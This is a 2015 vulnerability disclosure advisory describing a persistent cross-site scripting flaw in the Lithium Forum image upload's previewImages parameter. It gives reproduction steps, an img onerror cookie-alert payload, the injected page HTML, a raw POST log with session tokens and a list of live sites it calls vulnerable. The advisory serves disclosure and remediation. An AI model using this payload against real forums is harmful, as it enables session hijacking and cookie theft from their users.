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Lithium Forum - (previewImages) Persistent Vulnerability



Document Title:
===============
Lithium Forum - (previewImages) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1520


Release Date:
=============
2015-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
1521


Common Vulnerability Scoring System:
====================================
4.6


Product & Service Introduction:
===============================
Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco, 
Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and Zürich. Lithium was founded in 2001 as 
a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular 
gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as 
Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise 
customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Lithium_Technologies )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Lithium Forum online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-06-13:	Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-06-15:	Vendor Notification (Security Team)
2015-09-30:	Vendor Response/Feedback (Security Team)
2015-11-12:	Vendor Fix/Patch (Developer Team)
2015-12-18:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Lithium Technologies
Product: Lithium Forum - Web Application (API) 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the official Lithium Forum online service web-application.
The vulnerability allows remote attacker to inject own malicious script codes to the application-side of the vulnerable module/function.

The vulnerability is located at the previewImages value of the file upload module. Remote attackers are able to inject malicious script codes 
to the file upload module POST method request to compromise the `Community > Albums (unmoderated%3Amedia)` module. The attack vector of the 
vulnerability is located on the application-side of the service and the request method to inject is POST. The execution point is the vulnerable 
Albums listing service. Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application 
like ebay, vodafone, paypal, microsoft, skype and sony.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7. 
Exploitation of the persistent web vulnerability requires a low privilege web application user account and low user interaction (click or forward). 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects, persistent load of 
malicious script codes or persistent web module context manipulation.

Affected Request Method(s):
								[+] POST

Vulnerable Module(s):
								[+] Lithium Forum - Community > File Upload (Image)

Vulnerable Parameter(s):
								[+] previewImages

Affected Service(s):
								[+] Lithium Forum - Community > Albums (unmoderated%3Amedia)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Register an lithium forum account and login to the web-application 
2. Open link  /t5/media/gallerypage
3. click add images
4. Upload image with name "><img src="x" onerror=alert(document.cookie)>.png 
5. Click select an album and save 
6. The first execution of the payload occurs in the comment delete function the second execution occurs in the album to authorize listing
7. Successful reproduce of the vulnerability!


PoC: Delete Comment - Lithium Forums
<div class="MessageSubject">  
 <a class="lia-image-preview-data-cell lia-link-navigation" id="link_3" 
href="/t5/media/gallerypage/comment-id/9605/image-id/55606i18101F75D8F919DB#M9605"><img title=""><img src="x" onerror=alert(document.cookie)>.png" alt="">
<img src="x" onerror=alert(document.cookie)>.png" id="display_0" src="/t5/image/serverpage/image-id/55606i18101F75D8F919DB/image-size/tiny?v=mpbl-1&px=48"/></a>
 <h2 class="message-subject">
  <a class="lia-link-navigation" id="link_4" href="/t5/media/gallerypage/comment-id/9605/image-id/55606i18101F75D8F919DB#M9605">
Re: "><img src="x" onerror=alert(document.cookie)>.png"><img src="x" onerror=alert(document.cookie)>.png</a>
</h2>
</div>


PoC: Album Title - Lithium Forums
<div class="lia-panel-content">
<div class="MessageList lia-component-forums-widget-message-list" id="messageList">
<a name="message-list"> </a>
	<div class="t-data-grid single-message-list">
    <table class="lia-list-wide">
<thead id="columns"><tr><th scope="col" class="messageDiscussionStyleIconColumn lia-data-cell-secondary lia-data-cell-icon t-first"></th>
<th scope="col" class="messageSubjectColumn lia-data-cell-primary lia-data-cell-text">
			Betreff
		</th>
<th scope="col" class="messagePostDateColumn lia-data-cell-secondary lia-data-cell-date">				
Gesendet</th><th scope="col" class="unmoderatedActionsColumn lia-data-cell-secondary lia-data-cell-text t-last"></th></tr></thead><tbody>
<tr class="lia-list-row lia-row-odd lia-js-data-messageUid-4006000 lia-js-data-messageRevision-1 lia-list-row-thread-unread t-first t-last">
<td class="messageDiscussionStyleIconColumn lia-data-cell-secondary lia-data-cell-icon">
<img id="imagedisplay" src="http://skypec.i.lithium.com/skins/images/11CF6CA4D7B6034EC014DA2E625FADA3/base/images/icon_media_thread.png";></td>
<td class="messageSubjectColumn lia-data-cell-primary lia-data-cell-text">
<div class="MessageSubjectCell"><div class="MessageSubject">
<a class="lia-image-preview-data-cell lia-link-navigation lia-panel-dialog-trigger lia-panel-dialog-trigger-event-click lia-js-data-dialogKey--1544984023" 
id="link_12" href="/t5/media/gallerypage/comment-id/58735/image-id/123916i2C803A8AFE9DD0B6#M58735">
<img title="[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]"><img src="x" onerror=alert(document.cookie)>.png" 
alt=""><img src="x" onerror=alert(document.cookie)>.png" 
id="display" src="/t5/image/serverpage/image-id/123916i2C803A8AFE9DD0B6/image-size/tiny?v=mpbl-1&px=48"></a>
?	<h2 class="message-subject">
<a class="lia-link-navigation lia-panel-dialog-trigger lia-panel-dialog-trigger-event-click lia-js-data-dialogKey--1544984023" 
id="link_13" href="/t5/media/gallerypage/comment-id/58735/image-id/123916i2C803A8AFE9DD0B6#M58735">
Betreff: "><img src="x" onerror=alert(document.cookie)>.png"><img src="x" onerror="alert(document.cookie)">.png</a>
</h2></div></div></td>
<td class="messagePostDateColumn lia-data-cell-secondary lia-data-cell-date">
			<span class="DateTime">
<span title="?12-06-2015 15:31" class="local-friendly-date">
			vor 57 Sekunden
	</span></span>	
</td><td class="unmoderatedActionsColumn lia-data-cell-secondary lia-data-cell-text">		
<div class="lia-button-group-left">						
<span class="lia-button-wrapper lia-button-wrapper-secondary lia-component-forums-action-edit-message">
<a class="lia-button lia-button-secondary edit-message" id="editMessage" href="/t5/forums/editpage/board-id/%40media%40public/message-id/58735">Bearbeiten</a></span>
</div></td></tr>      
</tbody></table> </div></div>		
<div class="lia-menu-bar lia-menu-bar-bottom bottom-block">
	<div class="lia-decoration-border-menu-bar">		
<div class="lia-decoration-border-menu-bar-top">
			<div> </div></div>		
<div class="lia-decoration-border-menu-bar-content">
			<div>				
<div class="lia-menu-bar-buttons">
</div>		</div></div>
<div class="lia-decoration-border-menu-bar-bottom">		
<div> </div>	</div>
	</div>
</div></div>


--- PoC Session Logs [POST] ---
14:45:03.620[1031ms][total 1031ms] 
Status: 200[OK]
POST http://community.[WEBSITE].com/t5/media/v2/gallerypage.albumgallerylist.selectanalbumform.selectanalbumform.form.form 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Content Size[-1] Mime Type[application/json]
   Request Headers:
      Host[community.[WEBSITE].com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      Cache-Control[no-cache]
      Lithium-Ajax-Request[true]
      X-Requested-With[XMLHttpRequest]
      Referer[http://community.[WEBSITE].com/t5/media/gallerypage/]
      Content-Length[3326]
      Cookie[s_pers=%20s_fid%3D18958A2959B2CD22-1F06A54A4BDFB94B%7C1497269566320%3B%20gpv_p23%3Dskypeloginweb%252Faccount%252Flogin_simplified%7C1434112966327%3B%20s_nr%3D1434111166331-New%7C1497183166331%3B; s_vi=[CS]v1|
2A928C6305013CDB-400001382002F848[CE]; mbox=PC#1432859941701-111791.21_17#1436700441|session#1434106714032-264052#1434110301|check#true#1434108501; MSFPC=ID=062a86ae8adbf044abf02f8708319e16&CS=3&LV=201505&V=1; skype-cookie-policy=1; 
__CT_Data=gpv=8&apv_22_www11=8; WRUID=0; tracking=1434108546387; LithiumVisitor=~2c1cgdFkzzMj5Napg~StPIAaB4_OrKdyO2o1kCw707YFWdnGRjkSBKJL6tk2l-TZiNYlVObacrYuY4G8vGnal2U1Twf1HueGwOcwXvog..; VISITOR_BEACON=~2Wncmgwy7hMsvHUUf~68A-
kBIyCSC2n6uJH5bMCMpaubUmaYGYbE83LI5dQN9_c8wihHK5UBdAMMH4cDeKZbEi40VSbRXbMiqFVqa31Q..; SC=CC=:CCY=USD:ENV=:LC=en:LIM=:RS=d:TM=1434111166:TS=1434111166:TZ=:UCP=:VAT=:VER=; LiSESSIONID=BF04C8F9D98D2642CBAC3643B886CB89; s_ria=flash%2011%7C; 
s_sq=%5B%5BB%5D%5D; s_sv_sid=346493096323; frmrgtpe=1-4; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __atuvc=7%7C23; LithiumUserInfo=9034556; suuid=cf385a5c-4d49-4a18-8612-dc3bf0d25925; ecsEligibility=1; s_cc=true; s_fid=1D6C86567438D711-
3C4FBDB481E7BEE1; gpv_p23=support%2Fforum%2Ft5%2Fmedia%2Fgallerypage%2F; s_nr=1434116701473-Repeat]
      X-Forwarded-For[8.8.8.8]
      Connection[keep-alive]
      Pragma[no-cache]
   Post Data:
      submitContext[true]
      liaFormContentKey[MediaGalleryPage%3A%3Aalbumgallerylist.selectanalbumform.selectanalbumform.form%3A]
      t%3Aformdata[7IILDleLbu0mW2%2FEd3xk2hw8Ujw%3D%3AH4sIAAAAAAAAAO1YTUwTQRQeIAjyJxJFYjxwQAIK21KKQdQYRH40BAlVoh7A6XZaRmd%2FmJ122xg9efDgxZM3ExNvigc9eCMGDgYOXjRejYlXEyPGi5I4s9tCFZFuw1QOvXTTefPe%2B
%2Ba9b968maefQbk9AcY1FMHQlwj4hiEhiKbGYQz1QRKOazF3gGCLKRYiSGVQdwRRg2p
%2FGSGGYU77LQoUg8YUaEJ1BikMmshiNNWjqAZFBIf5VzMNHenMUka5RkvgqxltH258croUgKS5IyB1v2q7M9L9bQ7IgtQ1C26DElmGyyQY7vYcxJ7OC0vv28HNJVlB9A6p68qnuZXoy7ePZEIa8wRpgsu5KMQgQ0PU0ELiX2SAYD5lEpI46nyw8O4uaF4tBSWjoFpdFzDQMHodJqCPQD3mCzGK9diJpMlArUlRAiP7n
MYXY9lXweXtW6VJDRNRluIGOVC%2B2j6C2QyOa4qNwoHs1RGsjKcnDzqTW0KIxc1BPYGpoWt8zvm9pbMfun2dzsoqM5YFgXcnTfGptofBYL7Y00HAThA40J5%2FpiUMLaT0h%2FkgVNkQRiTiwj18abH64%2F7XP9PRN3RGDTIGNZSGuSHa24i43ytiHm%2BVa4biYQ1bFjb0xWeRYPT7wzcu3eUS4WTuRBggCOq
%2FUUGbnL%2FVPHLgx84pFUHZp5J3SMf89V96px7fOyUNkiC1jKbAMVwhJYjCciUDexzBBIxgwymlUskufNaIn4N2APjDxFBv%2BLIpfkaMWJnKyFNoRBUqoMWoETd53ntzzbuzoGGh5Zaj%2B%2F75jhd1Kwubl6MquqaSJ7hgHuC6lpPLy89Dq
%2FMuNTvAkdwciyS6pPOsUuFNJUOUSpTkWedHpXePjfl5LNORLd2ZUGmSSXrhYJ%2Bs0tAoszSUO4LCFITWXLLmmhO%2BHMW6NYiedIVqQzHjfxpuKp6L2eSvcgQXMSMFOhKP2m2gdUsWO5eVDPuzMeasXKT%2FpjmvMClOQDVVmIT782ozhOYhBmrWu5XpvAwJO807ud%2FYZcbDBKsF6zbc5PMGuNhx
%2FLcNWO8IziJLpdhk%2FB5emJ143G4FLVslkKHkWtuxEWeOBorFt2C9R5csxH5ZhoOy3raD7tv2NTC1fYYt8VbG0h9xn87aHrXu6IA7Kt%2Bvu6skxa3xF5HWtbXwGQAA]
      lia-action-token[8wKnTjwo4bb2thl22pKiJBXOC1PEHRQ83H8Alp2ozHbtM4AP3b02djR5es-q93dO]
      form_UID[form_0]
      form_instance_key[]
      previewImages[%5B%7B%22id%22%3A+%22upload_7822102130113419863.png%22%2C+%22title%22%3A+%22%5C%22%3E%3Cimg+src%3D%5C%22x%5C%22+onerror%3Dalert(document.cookie)%3E.png%22%7D%5D]
      radioGroup[existing]
      album[AlbumByUidRef%5Buid%3D81482%2ChashCode%3D-226237822%5D]
      submitContextX[Submit]
      eventListeners[%5B%5D]
      parameterOverrides[%7B%7D]
      triggerEvent[submit]
      eventTargetId[form_0]
      renderedScripts[AC_RunActiveContent.js%2CLoader.js%2Cjquery.ui.core.js%2CSpoilerToggle.js%2Cjson2.js%2CSelectAnAlbumForm.js%2CAjaxFeedback.js%2CForceLithiumJQuery.js%2CFormActions.js%2Ccontrol.js%2Cjquery.tmpl-1.1.1.js
%2Cjquery.appear-1.1.1.js%2Cjquery.lithium-selector-extensions.js%2CDialog.js%2CLithium.js%2Cjquery.fileupload.js%2CElementMethods.js%2CAjaxSupport.js%2Cjquery.ui.position.js%2Cjquery.function-utils-1.0.js%2CSurveyLauncher.js
%2CInputEditForm.js%2CUserNotificationWidget.js%2Cjquery.ui.dialog.js%2Cjquery.delayToggle-1.0.js%2CAngularSupport.js%2CCustomEvent.js%2Cjquery.effects.core.js%2CNamespace.js%2Cjquery.autocomplete.js%2Cjquery.ui.widget.js%2CForms.js
%2CTooltip.js%2CDeferredImages.js%2CURI.js%2Cjquery.position-toggle-1.0.js%2Cjquery.blockui.js%2CInformationBox.js%2Cjquery.scrollTo.js%2CCache.js%2CSearchForm.js%2CProgressBar.js%2CDropDownMenu.js%2CUploadImages.js
%2Cjquery.tools.tooltip-1.2.5.js%2Cjquery.css-data-1.0.js%2CAutoComplete.js%2Cjquery.ui.resizable.js%2Cjquery.hoverIntent-r6.js%2CAlbumGalleryList.js%2Cjquery.ui.mouse.js%2CSearchAutoCompleteToggle.js%2CNoConflict.js%2CComponents.js
%2CLiModernizr.js%2Cjquery.clone-position-1.0.js%2CEvents.js%2Cjquery.js%2Cjquery.effects.slide.js%2Cjquery.js%2Cjquery.viewport-1.0.js%2CAuth.js%2Cjquery.progressBar-2.0.js%2Cjquery.iframe-transport.js%2CSandbox.js%2CText.js
%2Cjquery.ui.draggable.js%2Cjquery.iframe-shim-1.0.js%2CVideo.js%2CLink.js%2Cjquery.ajax-cache-response-1.0.js]
   Response Headers:
      Date[Fri, 12 Jun 2015 13:46:53 GMT]
      Server[Apache]
      Set-Cookie[LithiumVisitor=~290UiXxXoETkeu1nM~5vPEVuim9QmJv9pRiYmBHkDC8CwUS_hMrnvLMDUNLTE012Hz10GoXfKuOOhQwcq4jwCOllPfclmujZ6mZ-huZg..; Expires=Mon, 09-Jun-2025 13:46:53 GMT; Path=/]
      X-Robots-Tag[noindex, nofollow]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Connection[close]
      Transfer-Encoding[chunked]
      Content-Type[application/json;charset=UTF-8]


Reference(s):
http://community.[WEBSITE].com/
http://community.[WEBSITE].com/t5/
http://community.[WEBSITE].com/t5/media/
http://community.[WEBSITE].com/t5/media/v2/
http://community.[WEBSITE].com/t5/media/v2/gallerypage.albumgallerylist.selectanalbumform.selectanalbumform.form.form
http://community.[WEBSITE].com/t5/media/gallerypage/user-id/9034556/image-id/123916i2C803A8AFE9DD0B6#comment-on-this?signature=bsYErEEjpFgnakjT4pOqoooHFDCHKY19IC1cvZuo9y5NG7monEaibztSr67t7qgViFgmuBAVR5r30da7Vfr2xl25lkOU4y1ezEQM3PzH
%2BlwqKDnuRpL8WVRXj51ZS6a8gkZXXNipswScC%2Ba0BTZ7PI0jw9%2FpjDdRAYLJL8T%2FdYfcLcM3znBtJ5Ne8vUlKpiPrKCICW%2BXP%2FRzRVy9GIaZCgYjWwziJS1e
%2F8EEJSPMkpXrQYOtADjZpgoIGjAA8%2FJPkoOXJHN7n1%2BRGXv4ch7LECp7AHIT3zwTw7Q2ryL0h3DxlARSExceqzgaiWYfmlUi02IQKIbP09b%2Fyh4acr65Rg%3D%3D&date=2015-06-12+13%3A29%3A17&expiration_date=2015-06-
14+13%3A29%3A17&partner_id=b38bf07d4373f92f5932f9e2887a32e0&skypename=live%3As-dz
http://community.[WEBSITE].com/t5/media/gallerypage/image-id/123916i2C803A8AFE9DD0B6/user-id/9034556#feedback-success
http://community.[WEBSITE].com/t5/premod/moderationitemspage/tab/unmoderated%3Amedia



Vulnerable Site(s):
http://www.amazon.de/Remington-HC5880-Indestructible-Haarschneider-Lithium/forum/
https://www.paypal-community.com/t5/US-PayPal-Community/ct-p/US
http://community.ebay.com/t5/A-Part-time-eBay-Sellers-Group/Who-is-Lithium-Technologies-Inc-Found-under-Selling-preferences/td-p/20151642
https://www.en.adwords-community.com
http://forums.verizon.com/t5/media/v2/gallerypage/image-id/638iEE72EA794E7870E8
https://forums.att.com/t5/media/v2/gallerypage/image-id/26748i32A2C4F5F1C76A16
http://community.[WEBSITE].com/t5/media/v2/
https://community.linksys.com/t5/Media-Hub/bd-p/TechnicalSupport2
http://community.eu.playstation.com/t5/media/v1/gallerypage/user-id/966029/image-id/435278i77B3FF47F3F21BDC
http://forums.xfinity.com/t5/media/v1/gallerypage/user-id/54009/image-id/22931i058474C6376CA295
http://communaute.orange.fr/t5/media/v2/gallerypage/image-id/5449i26E3C94BD827C963
https://discussions.apple.com/thread/5737090
http://h30434.www3.hp.com/t5/media/v1/gallerypage/user-id/314019
https://supportforums.blackberry.com/t5/media/v2/gallerypage/user-id/139560/image-id/1246iF4B7A821A8A944B2
http://talk.hbo.com/t5/media/v2/gallerypage/user-id/1111009/image-id/960iDD3175E57CEBE367
http://community.f-secure.com/t5/media/v2/gallerypage/user-id/365/image-id/758iE470659201B00CF8
https://talk.sonymobile.com/t5/media/v2/gallerypage/user-id/202/album-id/2677
https://forums.lenovo.com/t5/media/v1/gallerypage/user-id/230839/image-id/15043i91D84DDE92BD3F70
http://forums.juniper.net/t5/media/v2/gallerypage/image-id/11433i62DB8B9E0B7C364F
http://my.teslamotors.com/forum/forums/10kw-laser-powered-lithium-ion-batteries
http://www.wallstreet-online.de/diskussion/500-beitraege/1058177-1-500/lithium-technology-umsaetze-ziehen-maechtig-an#beitrag_21444129
https://telekomhilft.telekom.de/t5/Media-Receiver/
http://www.banktech.com/channels/commonwealth-bank-to-launch-online-social-forum/d/d-id/1296418?
http://community.saturn.nl/t5/media/v2/gallerypage/image-id/3567i79CFA668259C2A53
https://community.o2.co.uk/t5/media/v2/gallerypage/image-id/13061i577034177A010DF2
https://community.spotify.com/t5/media/v2/gallerypage/image-id/2141i7CDD8F7C1499E4D0?nospellcheck=true&q=_change_me_
http://talk.sonymobile.com/t5/media/v2/gallerypage/tab/albums
http://community.us.playstation.com/t5/media/v2/gallerypage/user-id/750008
https://forum.vodafone.co.uk/t5/media/v2/gallerypage/page/3
http://community.usa.canon.com/t5/media/v2/gallerypage/image-id/5609i91277716BCCDFCE2
https://forum.sfr.fr/t5/media/gallerypage/
http://forum.kpn.com/t5/media/v2/gallerypage/image-id/5699iD073361E6D1D16C6
http://comunidad.orange.es/t5/media/v2/gallerypage/image-id/2497i8215FB441CC86FD3
https://forums.cat.com/t5/Electric-Power-Generation/ct-p/EPG


Solution - Fix & Patch:
=======================
Parse and encode the title name of the albums and files to prevent persistent script code execution through the api. 
Restrict the input and disallow usage of special chars as album name value.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the album value is estimated as medium. (CVSS 4.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] – Hadji Samir (samir@xxxxxxxxxxxxxxxxx) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
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